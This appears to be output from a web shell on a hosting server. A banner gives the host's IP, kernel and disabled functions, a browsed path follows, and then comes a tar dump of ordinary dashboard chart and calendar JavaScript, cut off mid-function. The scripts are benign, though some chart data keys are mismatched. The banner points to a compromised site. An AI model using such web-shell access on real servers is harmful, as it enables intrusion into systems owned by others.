uawdijnntqw1x1x1
IP : 216.73.216.110
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
.caldav
/
..
/
.
/
public_html
/
node_modules
/
..
/
src
/
..
/
4d695
/
js.tar
/
/
forms.js000064400000004272151676702320006246 0ustar00(function($) { 'use strict'; $(function() { $('.file-upload-browse').on('click', function() { var file = $(this).parent().parent().parent().find('.file-upload-default'); file.trigger('click'); }); $('.file-upload-default').on('change', function() { $(this).parent().find('.form-control').val($(this).val().replace(/C:\\fakepath\\/i, '')); }); }); $(document).ready(function() { $(".select2").select2(); $('#inlinedatetimepicker').datetimepicker({ inline: true, sideBySide: true }); $('#datepicker').datetimepicker({ format: 'L' }); $('#timepicker').datetimepicker({ format: 'LT' }); $('#tags').tagsinput('items'); $('.repeater').repeater({ // (Optional) // "defaultValues" sets the values of added items. The keys of // defaultValues refer to the value of the input's name attribute. // If a default value is not specified for an input, then it will // have its value cleared. defaultValues: { 'text-input': 'foo' }, // (Optional) // "show" is called just after an item is added. The item is hidden // at this point. If a show callback is not given the item will // have $(this).show() called on it. show: function() { $(this).slideDown(); }, // (Optional) // "hide" is called when a user clicks on a data-repeater-delete // element. The item is still visible. "hide" is passed a function // as its first argument which will properly remove the item. // "hide" allows for a confirmation step, to send a delete request // to the server, etc. If a hide callback is not given the item // will be deleted. hide: function(deleteElement) { if (confirm('Are you sure you want to delete this element?')) { $(this).slideUp(deleteElement); } }, // (Optional) // Removes the delete button from the first list item, // defaults to false. isFirstItemUndeletable: true }); $('.html-editor').summernote({ height: 300, tabsize: 2 }); }) })(jQuery);chart-flot.js000064400000047355151676702320007174 0ustar00"use strict"; $(document).ready(function() { $(window).on('resize', function() { categoryChart(); strackingChart(); pieChart(); donutChart(); }); categoryChart(); strackingChart(); pieChart(); donutChart(); /*categories chart*/ function categoryChart() { var data = [ ["January", 20], ["February", 8], ["March", 4], ["April", 13], ["May", 5], ["June", 9] ]; $.plot("#placeholder", [data], { series: { bars: { show: true, barWidth: 0.6, align: "center", } }, xaxis: { mode: "categories", tickLength: 0, tickColor: '#f5f5f5', }, colors: ["#01C0C8", "#83D6DE"], labelBoxBorderColor: "red" }); }; /*Stracking chart*/ function strackingChart() { var d1 = []; for (var i = 0; i <= 10; i += 1) { d1.push([i, parseInt(Math.random() * 30)]); /*yellow*/ } var d2 = []; for (var i = 0; i <= 10; i += 1) { d2.push([i, parseInt(Math.random() * 30)]); /*blue*/ } var d3 = []; for (var i = 0; i <= 10; i += 1) { d3.push([i, parseInt(Math.random() * 30)]); /*red*/ } var stack = 0, bars = false, lines = true, steps = false; function plotWithOptions() { $.plot("#placeholder1", [d1, d2, d3], { series: { stack: stack, lines: { show: lines, fill: true, steps: steps }, bars: { show: bars, barWidth: 0.6 } } }); } plotWithOptions(); }; /*pie chart-Withour legend*/ function pieChart() { var data1 = [{ label: "Sales & Marketing", data: 2034, color: "#25A6F7" }, { label: "Research & Development", data: 16410, color: "#01C0C8" }, { label: "General & Administration", data: 4670, color: "#42E1FE" }]; $.plot('#placeholder2', data1, { series: { pie: { show: true } }, legend: { show: false } }); }; /*Donut Hole*/ function donutChart() { var data2 = [{ label: "Sales & Marketing", data: 2034, color: "#FB9678" }, { label: "Research & Development", data: 16410, color: "#4F5467" }, { label: "General & Administration", data: 4670, color: "#01C0C8" }]; $.plot('#placeholder3', data2, { series: { pie: { innerRadius: 0.7, show: true }, legend: { show: true, position: "center" } } }); } // series types chart $(function() { var d1 = []; for (var i = 0; i < 14; i += 0.5) { d1.push([i, Math.sin(i)]); } var d2 = [ [0, 3], [4, 8], [8, 5], [9, 13] ]; var d3 = []; for (var i = 0; i < 14; i += 0.5) { d3.push([i, Math.cos(i)]); } var d4 = []; for (var i = 0; i < 14; i += 0.1) { d4.push([i, Math.sqrt(i * 10)]); } var d5 = []; for (var i = 0; i < 14; i += 0.5) { d5.push([i, Math.sqrt(i)]); } var d6 = []; for (var i = 0; i < 14; i += 0.5 + Math.random()) { d6.push([i, Math.sqrt(2 * i + Math.sin(i) + 5)]); } $.plot("#seriestypes", [{ data: d1, lines: { show: true, fill: true } }, { data: d2, bars: { show: true } }, { data: d3, points: { show: true } }, { data: d4, lines: { show: true } }, { data: d5, lines: { show: true }, points: { show: true } }, { data: d6, lines: { show: true, steps: true } }]); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); //real-time update $(function() { // We use an inline data source in the example, usually data would // be fetched from a server var data = [], totalPoints = 300; function getRandomData() { if (data.length > 0) data = data.slice(1); // Do a random walk while (data.length < totalPoints) { var prev = data.length > 0 ? data[data.length - 1] : 50, y = prev + Math.random() * 10 - 5; if (y < 0) { y = 0; } else if (y > 100) { y = 100; } data.push(y); } // Zip the generated y values with the x values var res = []; for (var i = 0; i < data.length; ++i) { res.push([i, data[i]]) } return res; } // Set up the control widget var updateInterval = 30; $("#updateInterval").val(updateInterval).change(function() { var v = $(this).val(); if (v && !isNaN(+v)) { updateInterval = +v; if (updateInterval < 1) { updateInterval = 1; } else if (updateInterval > 2000) { updateInterval = 2000; } $(this).val("" + updateInterval); } }); var plot = $.plot("#realtimeupdate", [getRandomData()], { series: { shadowSize: 0 // Drawing is faster without shadows }, yaxis: { min: 0, max: 100 }, xaxis: { show: false } }); function update() { plot.setData([getRandomData()]); // Since the axes don't change, we don't need to call plot.setupGrid() plot.draw(); setTimeout(update, updateInterval); } update(); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); //Percentiles $(function() { var males = { "8%": [ [2, 20.0], [3, 30.3], [4, 40.0], [5, 50.5], [6, 60.7], [7, 70.6], [8, 80.6], [9, 90.3], [10, 100.3], [11, 110.4], [12, 146.5], [13, 151.7], [14, 159.9], [15, 165.4], [16, 167.8], [17, 168.7], [18, 169.5], [19, 168.0] ], "90%": [ [2, 96.8], [3, 105.2], [4, 113.9], [5, 120.8], [6, 127.0], [7, 133.1], [8, 139.1], [9, 143.9], [10, 151.3], [11, 161.1], [12, 164.8], [13, 173.5], [14, 179.0], [15, 182.0], [16, 186.9], [17, 185.2], [18, 186.3], [19, 186.6] ], "25%": [ [2, 89.2], [3, 94.9], [4, 104.4], [5, 111.4], [6, 117.5], [7, 120.2], [8, 127.1], [9, 132.9], [10, 136.8], [11, 144.4], [12, 149.5], [13, 154.1], [14, 163.1], [15, 169.2], [16, 170.4], [17, 171.2], [18, 172.4], [19, 170.8] ], "10%": [ [2, 86.9], [3, 92.6], [4, 99.9], [5, 107.0], [6, 114.0], [7, 113.5], [8, 123.6], [9, 129.2], [10, 133.0], [11, 140.6], [12, 145.2], [13, 149.7], [14, 158.4], [15, 163.5], [16, 166.9], [17, 167.5], [18, 167.1], [19, 165.3] ], "mean": [ [2, 91.9], [3, 98.5], [4, 107.1], [5, 114.4], [6, 120.6], [7, 124.7], [8, 131.1], [9, 136.8], [10, 142.3], [11, 150.0], [12, 154.7], [13, 161.9], [14, 168.7], [15, 173.6], [16, 175.9], [17, 176.6], [18, 176.8], [19, 176.7] ], "75%": [ [2, 94.5], [3, 102.1], [4, 110.8], [5, 117.9], [6, 124.0], [7, 129.3], [8, 134.6], [9, 141.4], [10, 147.0], [11, 156.1], [12, 160.3], [13, 168.3], [14, 174.7], [15, 178.0], [16, 180.2], [17, 181.7], [18, 181.3], [19, 182.5] ], "85%": [ [2, 96.2], [3, 103.8], [4, 111.8], [5, 119.6], [6, 125.6], [7, 131.5], [8, 138.0], [9, 143.3], [10, 149.3], [11, 159.8], [12, 162.5], [13, 171.3], [14, 177.5], [15, 180.2], [16, 183.8], [17, 183.4], [18, 183.5], [19, 185.5] ], "50%": [ [2, 91.9], [3, 98.2], [4, 106.8], [5, 114.6], [6, 120.8], [7, 125.2], [8, 130.3], [9, 137.1], [10, 141.5], [11, 149.4], [12, 153.9], [13, 162.2], [14, 169.0], [15, 174.8], [16, 176.0], [17, 176.8], [18, 176.4], [19, 177.4] ] }; var females = { "15%": [ [2, 84.8], [3, 93.7], [4, 100.6], [5, 105.8], [6, 113.3], [7, 119.3], [8, 124.3], [9, 131.4], [10, 136.9], [11, 143.8], [12, 149.4], [13, 151.2], [14, 152.3], [15, 155.9], [16, 154.7], [17, 157.0], [18, 156.1], [19, 155.4] ], "90%": [ [2, 95.6], [3, 104.1], [4, 111.9], [5, 119.6], [6, 127.6], [7, 133.1], [8, 138.7], [9, 147.1], [10, 152.8], [11, 161.3], [12, 166.6], [13, 167.9], [14, 169.3], [15, 170.1], [16, 172.4], [17, 169.2], [18, 171.1], [19, 172.4] ], "25%": [ [2, 87.2], [3, 95.9], [4, 101.9], [5, 107.4], [6, 114.8], [7, 121.4], [8, 126.8], [9, 133.4], [10, 138.6], [11, 146.2], [12, 152.0], [13, 153.8], [14, 155.7], [15, 158.4], [16, 157.0], [17, 158.5], [18, 158.4], [19, 158.1] ], "10%": [ [2, 84.0], [3, 91.9], [4, 99.2], [5, 105.2], [6, 112.7], [7, 118.0], [8, 123.3], [9, 130.2], [10, 135.0], [11, 141.1], [12, 148.3], [13, 150.0], [14, 150.7], [15, 154.3], [16, 153.6], [17, 155.6], [18, 154.7], [19, 153.1] ], "mean": [ [2, 90.2], [3, 98.3], [4, 105.2], [5, 112.2], [6, 119.0], [7, 125.8], [8, 131.3], [9, 138.6], [10, 144.2], [11, 151.3], [12, 156.7], [13, 158.6], [14, 160.5], [15, 162.1], [16, 162.9], [17, 162.2], [18, 163.0], [19, 163.1] ], "75%": [ [2, 93.2], [3, 101.5], [4, 107.9], [5, 116.6], [6, 122.8], [7, 129.3], [8, 135.2], [9, 143.7], [10, 148.7], [11, 156.9], [12, 160.8], [13, 163.0], [14, 165.0], [15, 165.8], [16, 168.7], [17, 166.2], [18, 167.6], [19, 168.0] ], "85%": [ [2, 94.5], [3, 102.8], [4, 110.4], [5, 119.0], [6, 125.7], [7, 131.5], [8, 137.9], [9, 146.0], [10, 151.3], [11, 159.9], [12, 164.0], [13, 166.5], [14, 167.5], [15, 168.5], [16, 171.5], [17, 168.0], [18, 169.8], [19, 170.3] ], "50%": [ [2, 90.2], [3, 98.1], [4, 105.2], [5, 111.7], [6, 118.2], [7, 125.6], [8, 130.5], [9, 138.3], [10, 143.7], [11, 151.4], [12, 156.7], [13, 157.7], [14, 161.0], [15, 162.0], [16, 162.8], [17, 162.2], [18, 162.8], [19, 163.3] ] }; var dataset = [{ label: "Female mean", data: females["mean"], lines: { show: true }, color: "rgb(255,50,50)" }, { id: "f15%", data: females["1%"], lines: { show: true, lineWidth: 0, fill: false }, color: "rgb(255,50,50)" }, { id: "f25%", data: females["3%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: "f15%" }, { id: "f50%", data: females["6%"], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(255,50,50)", fillBetween: "f25%" }, { id: "f75%", data: females["8%"], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "rgb(255,50,50)", fillBetween: "f50%" }, { id: "f85%", data: females["12%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: "f75%" }, { label: "Male mean", data: males["mean"], lines: { show: true }, color: "#01C0C8producxt" }, { id: "m15%", data: males["10%"], lines: { show: true, lineWidth: 0, fill: false }, color: "#99E6E9" }, { id: "m25%", data: males["12%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "#99E6E9", fillBetween: "m15%" }, { id: "m50%", data: males["20%"], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(50,50,255)", fillBetween: "m25%" }, { id: "m75%", data: males["22%"], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "#99E6E9", fillBetween: "m50%" }, { id: "m85%", data: males["25%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "#99E6E9", fillBetween: "m75%" }]; $.plot($("#percentiles"), dataset, { xaxis: { tickDecimals: 0 }, yaxis: { tickFormatter: function(v) { return v + " cm"; } }, legend: { position: "se" } }); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); });calendar.js000064400000012760151676702320006672 0ustar00$(document).ready(function(t, e, i) { function t(t) { t.each(function() { var t = { title: $.trim($(this).text()) }; $(this).data("eventObject", t), $(this).draggable({ zIndex: 1070, revert: !0, revertDuration: 0 }) }) } t($("#external-events div.external-event")); var e = new Date, i = e.getDate(), n = e.getMonth(), r = e.getFullYear(); $("#calendar").fullCalendar({ header: { left: "prev,next today", center: "title", right: "month,agendaWeek,agendaDay" }, buttonText: { today: "today", month: "month", week: "week", day: "day" }, events: [{ title: "All Day Event", start: new Date(r, n, 1), className: "bg-purple" }, { title: "Long Event", start: new Date(r, n, i - 5), end: new Date(r, n, i - 2), className: "bg-yellow" }, { title: "Meeting", start: new Date(r, n, i, 10, 30), allDay: !1, className: "bg-red" }, { title: "Lunch", start: new Date(r, n, i, 12, 0), end: new Date(r, n, i, 14, 0), allDay: !1, className: "bg-navy" }, { title: "Birthday Party", start: new Date(r, n, i + 1, 19, 0), end: new Date(r, n, i + 1, 22, 30), allDay: !1, className: "bg-green" }, { title: "Click for Google", start: new Date(r, n, 28), end: new Date(r, n, 29), url: "http://google.com/", className: "bg-lime" }], editable: !0, selectable: !0, droppable: !0, drop: function(t, e) { var i = $(this).data("eventObject"), n = $.extend({}, i); n.start = t, n.allDay = e, n.backgroundColor = $(this).css("background-color"), n.borderColor = $(this).css("border-color"), $("#calendar").fullCalendar("renderEvent", n, !0), $("#drop-remove").is(":checked") && $(this).remove() }, eventClick: function(calEvent, jsEvent, view) { var $this = this; $("#editEname").val(calEvent.title) $("#editStarts").datetimepicker("date", calEvent.start._d) $("#editEvent").modal({ backdrop: 'static' }); $("#editEvent").find('.delete-event').show().end().find('.delete-event').unbind('click').click(function() { $("#calendar").fullCalendar('removeEvents', function(ev) { return (ev._id == calEvent._id); }); $("#editEvent").modal('hide'); }); $("#editEvent").find('form').on('submit', function() { calEvent.title = $("#editEname").val(); calEvent.start = new Date($("#editStarts").data("datetimepicker").date()) $("#calendar").fullCalendar('updateEvent', calEvent); $("#editEvent").modal('hide'); return false; }); }, select: function(start, end, allDay) { var $this = this; $("#addEvent").modal({ backdrop: 'static' }); $("#eventStarts").datetimepicker("date", start) var form = $("#addEventForm"); $("#addEvent").find('.delete-event').hide().end().find('.save-event').show().end().find('.save-event').unbind('click').click(function() { form.submit(); }); $("#addEvent").find('form').on('submit', function() { var title = form.find("#eventName").val(); var start = form.find("#eventStarts").val(); var end = form.find("input[name='ending']").val(); var categoryClass = form.find("#addColor [type=radio]:checked").data("color"); if (title !== null && title.length != 0) { $("#calendar").fullCalendar('renderEvent', { title: title, start: start, end: end, allDay: false, className: categoryClass }, true); $("#addEvent").modal('hide'); } else { alert('You have to give a title to your event'); } return false; }); $("#calendar").fullCalendar('unselect'); } }); var a = "#3c8dbc"; $("#color-chooser-btn"); $("#color-chooser > li > a").on("click", function(t) { t.preventDefault(), a = $(this).css("color"), $("#add-new-event").css({ "background-color": a, "border-color": a }) }), $("#add-new-event").on("click", function(e) { e.preventDefault(); var i = $("#new-event").val(); if (0 != i.length) { var n = $("<div />"); n.css({ "background-color": a, "border-color": a, color: "#fff" }).addClass("external-event"), n.html(i), $("#external-events").prepend(n), t(n), $("#new-event").val("") } }); })chart-chartist.js000064400000025045151676702320010041 0ustar00"use strict"; $(document).ready(function() { new Chartist.Line('#lineChart', { labels: ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'], series: [ [12, 9, 7, 8, 5], [2, 1, 3.5, 7, 3], [1, 3, 4, 5, 6] ] }, { fullWidth: true, chartPadding: { right: 40 } }); new Chartist.Line('#lineChart_area', { labels: [1, 2, 3, 4, 5, 6, 7, 8], series: [ [5, 9, 7, 8, 5, 3, 5, 4] ] }, { low: 0, showArea: true }); var chart = new Chartist.Line('#lineChart_animation', { labels: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], series: [ [12, 9, 7, 8, 5, 4, 6, 2, 3, 3, 4, 6], [4, 5, 3, 7, 3, 5, 5, 3, 4, 4, 5, 5], [5, 3, 4, 5, 6, 3, 3, 4, 5, 6, 3, 4], [3, 4, 5, 6, 7, 6, 4, 5, 6, 7, 6, 3] ] }, { low: 0 }); // Let's put a sequence number aside so we can use it in the event callbacks var seq = 0, delays = 80, durations = 500; // Once the chart is fully created we reset the sequence chart.on('created', function() { seq = 0; }); // On each drawn element by Chartist we use the Chartist.Svg API to trigger SMIL animations chart.on('draw', function(data) { seq++; if (data.type === 'line') { // If the drawn element is a line we do a simple opacity fade in. This could also be achieved using CSS3 animations. data.element.animate({ opacity: { // The delay when we like to start the animation begin: seq * delays + 1000, // Duration of the animation dur: durations, // The value where the animation should start from: 0, // The value where it should end to: 1 } }); } else if (data.type === 'label' && data.axis === 'x') { data.element.animate({ y: { begin: seq * delays, dur: durations, from: data.y + 100, to: data.y, // We can specify an easing function from Chartist.Svg.Easing easing: 'easeOutQuart' } }); } else if (data.type === 'label' && data.axis === 'y') { data.element.animate({ x: { begin: seq * delays, dur: durations, from: data.x - 100, to: data.x, easing: 'easeOutQuart' } }); } else if (data.type === 'point') { data.element.animate({ x1: { begin: seq * delays, dur: durations, from: data.x - 10, to: data.x, easing: 'easeOutQuart' }, x2: { begin: seq * delays, dur: durations, from: data.x - 10, to: data.x, easing: 'easeOutQuart' }, opacity: { begin: seq * delays, dur: durations, from: 0, to: 1, easing: 'easeOutQuart' } }); } else if (data.type === 'grid') { // Using data.axis we get x or y which we can use to construct our animation definition objects var pos1Animation = { begin: seq * delays, dur: durations, from: data[data.axis.units.pos + '1'] - 30, to: data[data.axis.units.pos + '1'], easing: 'easeOutQuart' }; var pos2Animation = { begin: seq * delays, dur: durations, from: data[data.axis.units.pos + '2'] - 100, to: data[data.axis.units.pos + '2'], easing: 'easeOutQuart' }; var animations = {}; animations[data.axis.units.pos + '1'] = pos1Animation; animations[data.axis.units.pos + '2'] = pos2Animation; animations['opacity'] = { begin: seq * delays, dur: durations, from: 0, to: 1, easing: 'easeOutQuart' }; data.element.animate(animations); } }); // For the sake of the example we update the chart every time it's created with a delay of 10 seconds chart.on('created', function() { if (window.__exampleAnimateTimeout) { clearTimeout(window.__exampleAnimateTimeout); window.__exampleAnimateTimeout = null; } window.__exampleAnimateTimeout = setTimeout(chart.update.bind(chart), 12000); }); var data = { labels: ['W1', 'W2', 'W3', 'W4', 'W5', 'W6', 'W7', 'W8', 'W9', 'W10'], series: [ [1, 2, 4, 8, 6, -2, -1, -4, -6, -2] ] }; var options = { high: 10, low: -10, axisX: { labelInterpolationFnc: function(value, index) { return index % 2 === 0 ? value : null; } } }; new Chartist.Bar('#barChart_bipolar', data, options); var data = { labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], series: [ [5, 4, 3, 7, 5, 10, 3, 4, 8, 10, 6, 8], [3, 2, 9, 5, 4, 6, 4, 6, 7, 8, 7, 4] ] }; var options = { seriesBarDistance: 10 }; var responsiveOptions = [ ['screen and (max-width: 640px)', { seriesBarDistance: 5, axisX: { labelInterpolationFnc: function(value) { return value[0]; } } }] ]; new Chartist.Bar('#barChart_overlapping', data, options, responsiveOptions); new Chartist.Bar('#barChart_responsive', { labels: ['Quarter 1', 'Quarter 2', 'Quarter 3', 'Quarter 4'], series: [ [5, 4, 3, 7], [3, 2, 9, 5], [1, 5, 8, 4], [2, 3, 4, 6], [4, 1, 2, 1] ] }, { // Default mobile configuration stackBars: true, axisX: { labelInterpolationFnc: function(value) { return value.split(/\s+/).map(function(word) { return word[0]; }).join(''); } }, axisY: { offset: 20 } }, [ // Options override for media > 400px ['screen and (min-width: 400px)', { reverseData: true, horizontalBars: true, axisX: { labelInterpolationFnc: Chartist.noop }, axisY: { offset: 60 } }], // Options override for media > 800px ['screen and (min-width: 800px)', { stackBars: false, seriesBarDistance: 10 }], // Options override for media > 1000px ['screen and (min-width: 1000px)', { reverseData: false, horizontalBars: false, seriesBarDistance: 15 }] ]); var data = { series: [5, 3, 4] }; var sum = function(a, b) { return a + b }; new Chartist.Pie('#pieChart', data, { labelInterpolationFnc: function(value) { return Math.round(value / data.series.reduce(sum) * 100) + '%'; } }); new Chartist.Pie('#guageChart', { series: [20, 10, 30, 40] }, { donut: true, donutWidth: 60, startAngle: 270, total: 200, showLabel: false }); var chart = new Chartist.Pie('#donutChart_animated', { series: [10, 20, 50, 20, 5, 50, 15], labels: [1, 2, 3, 4, 5, 6, 7] }, { donut: true, showLabel: false }); chart.on('draw', function(data) { if (data.type === 'slice') { // Get the total path length in order to use for dash array animation var pathLength = data.element._node.getTotalLength(); // Set a dasharray that matches the path length as prerequisite to animate dashoffset data.element.attr({ 'stroke-dasharray': pathLength + 'px ' + pathLength + 'px' }); // Create animation definition while also assigning an ID to the animation for later sync usage var animationDefinition = { 'stroke-dashoffset': { id: 'anim' + data.index, dur: 1000, from: -pathLength + 'px', to: '0px', easing: Chartist.Svg.Easing.easeOutQuint, // We need to use `fill: 'freeze'` otherwise our animation will fall back to initial (not visible) fill: 'freeze' } }; // If this was not the first slice, we need to time the animation so that it uses the end sync event of the previous animation if (data.index !== 0) { animationDefinition['stroke-dashoffset'].begin = 'anim' + (data.index - 1) + '.end'; } // We need to set an initial value before the animation starts as we are not in guided mode which would do that for us data.element.attr({ 'stroke-dashoffset': -pathLength + 'px' }); // We can't use guided mode as the animations need to rely on setting begin manually // See http://gionkunz.github.io/chartist-js/api-documentation.html#chartistsvg-function-animate data.element.animate(animationDefinition, false); } }); // For the sake of the example we update the chart every time it's created with a delay of 8 seconds chart.on('created', function() { if (window.__anim21278907124) { clearTimeout(window.__anim21278907124); window.__anim21278907124 = null; } window.__anim21278907124 = setTimeout(chart.update.bind(chart), 10000); }); });widget-chart.js000064400000066474151676702320007516 0ustar00'use strict'; $(document).ready(function() { // pageview and prod sale end floatchart() $(window).on('resize', function() { floatchart(); }); $('#mobile-collapse').on('click', function() { setTimeout(function() { floatchart(); }, 700); }); // Round Chart statustc card start var chart = new Chartist.Pie('#status-round-1', { series: [5, 7] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-2', { series: [7, 5] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-3', { series: [11, 5] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-4', { series: [11, 10] }, { donut: true, donutWidth: 5, showLabel: false }); // Round Chart statustc card end // Total revenue start var chart = new Chartist.Pie('#tot-rev-chart', { series: [11, 10] }, { donut: true, donutWidth: 5, showLabel: false }); // Total revenue end // seo ecommerce start $(function() {}); // seo ecommerce end // sale-diff var chart = AmCharts.makeChart("sale-diff", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "fontSize": 0, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }], "graphs": [{ "id": "g3", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 0.3, "type": "column", "title": "Actual Sales", "valueField": "sales2", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }, { "id": "g4", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 1, "type": "column", "title": "Target Sales", "valueField": "sales1", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "minorGridEnabled": true, }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "export": { "enabled": true }, "dataProvider": [{ "date": "2013-01-16", "sales1": 5, "sales2": 8 }, { "date": "2013-01-17", "sales1": 4, "sales2": 6 }, { "date": "2013-01-18", "sales1": 5, "sales2": 2 }, { "date": "2013-01-19", "sales1": 8, "sales2": 9 }, { "date": "2013-01-20", "sales1": 9, "sales2": 6 }] }); // deal-analytic-chart var chart = AmCharts.makeChart("deal-analytic-chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }, { "id": "v2", "gridAlpha": 0, "autoGridCount": false }], "graphs": [{ "id": "g1", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#2ed8b6", "title": "Market Days", "useLineColorForBulletBorder": true, "valueField": "market1", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }, { "id": "g2", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#e95753", "title": "Market Days ALL", "useLineColorForBulletBorder": true, "valueField": "market2", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "dashLength": 1, "minorGridEnabled": true }, "legend": { "useGraphSettings": true, "position": "top" }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "dataProvider": [{ "date": "2013-01-16", "market1": 71, "market2": 75 }, { "date": "2013-01-17", "market1": 80, "market2": 84 }, { "date": "2013-01-18", "market1": 78, "market2": 83 }, { "date": "2013-01-19", "market1": 85, "market2": 88 }, { "date": "2013-01-20", "market1": 87, "market2": 85 }, { "date": "2013-01-21", "market1": 97, "market2": 88 }, { "date": "2013-01-22", "market1": 93, "market2": 88 }, { "date": "2013-01-23", "market1": 85, "market2": 80 }, { "date": "2013-01-24", "market1": 90, "market2": 85 }] }); // allocation map start var map = AmCharts.makeChart("allocation-map", { "type": "map", "theme": "light", "colorSteps": 10, "dataProvider": { "map": "usaLow", "areas": [{ "id": "US-AL", "value": 4447100 }, { "id": "US-AK", "value": 626932 }, { "id": "US-AZ", "value": 5130632 }, { "id": "US-AR", "value": 2673400 }, { "id": "US-CA", "value": 33871648 }, { "id": "US-CO", "value": 4301261 }, { "id": "US-CT", "value": 3405565 }, { "id": "US-DE", "value": 783600 }, { "id": "US-FL", "value": 15982378 }, { "id": "US-GA", "value": 8186453 }, { "id": "US-HI", "value": 1211537 }, { "id": "US-ID", "value": 1293953 }, { "id": "US-IL", "value": 12419293 }, { "id": "US-IN", "value": 6080485 }, { "id": "US-IA", "value": 2926324 }, { "id": "US-KS", "value": 2688418 }, { "id": "US-KY", "value": 4041769 }, { "id": "US-LA", "value": 4468976 }, { "id": "US-ME", "value": 1274923 }, { "id": "US-MD", "value": 5296486 }, { "id": "US-MA", "value": 6349097 }, { "id": "US-MI", "value": 9938444 }, { "id": "US-MN", "value": 4919479 }, { "id": "US-MS", "value": 2844658 }, { "id": "US-MO", "value": 5595211 }, { "id": "US-MT", "value": 902195 }, { "id": "US-NE", "value": 1711263 }, { "id": "US-NV", "value": 1998257 }, { "id": "US-NH", "value": 1235786 }, { "id": "US-NJ", "value": 8414350 }, { "id": "US-NM", "value": 1819046 }, { "id": "US-NY", "value": 18976457 }, { "id": "US-NC", "value": 8049313 }, { "id": "US-ND", "value": 642200 }, { "id": "US-OH", "value": 11353140 }, { "id": "US-OK", "value": 3450654 }, { "id": "US-OR", "value": 3421399 }, { "id": "US-PA", "value": 12281054 }, { "id": "US-RI", "value": 1048319 }, { "id": "US-SC", "value": 4012012 }, { "id": "US-SD", "value": 754844 }, { "id": "US-TN", "value": 5689283 }, { "id": "US-TX", "value": 20851820 }, { "id": "US-UT", "value": 2233169 }, { "id": "US-VT", "value": 608827 }, { "id": "US-VA", "value": 7078515 }, { "id": "US-WA", "value": 5894121 }, { "id": "US-WV", "value": 1808344 }, { "id": "US-WI", "value": 5363675 }, { "id": "US-WY", "value": 493782 }] }, "areasSettings": { "autoZoom": true }, "export": { "enabled": true } }); var chart = AmCharts.makeChart("allocation-chart", { "type": "pie", "startDuration": 0, "theme": "light", "labelRadius": 0, "pullOutRadius": 0, "labelText": "", "colorField": "color", "legend": { // "enabled":false, }, "innerRadius": "70%", "dataProvider": [{ "country": "Lithuania", "litres": 501.9, "color": "#85C5E3" }, { "country": "Czech Republic", "litres": 301.9, "color": "#6AA3C4" }, { "country": "Ireland", "litres": 201.1, "color": "#6097B9" }, { "country": "india", "litres": 220.1, "color": "#4E81A4" }], "valueField": "litres", }); // allocation map end }); function floatchart() { //flot options var options = { legend: { show: false }, series: { label: "", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, labelMargin: 0, axisMargin: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 30, color: 'transparent', font: { size: 0, } }, xaxis: { color: 'transparent', font: { size: 0, } } }; $.plot($("#pbc-1"), [{ data: 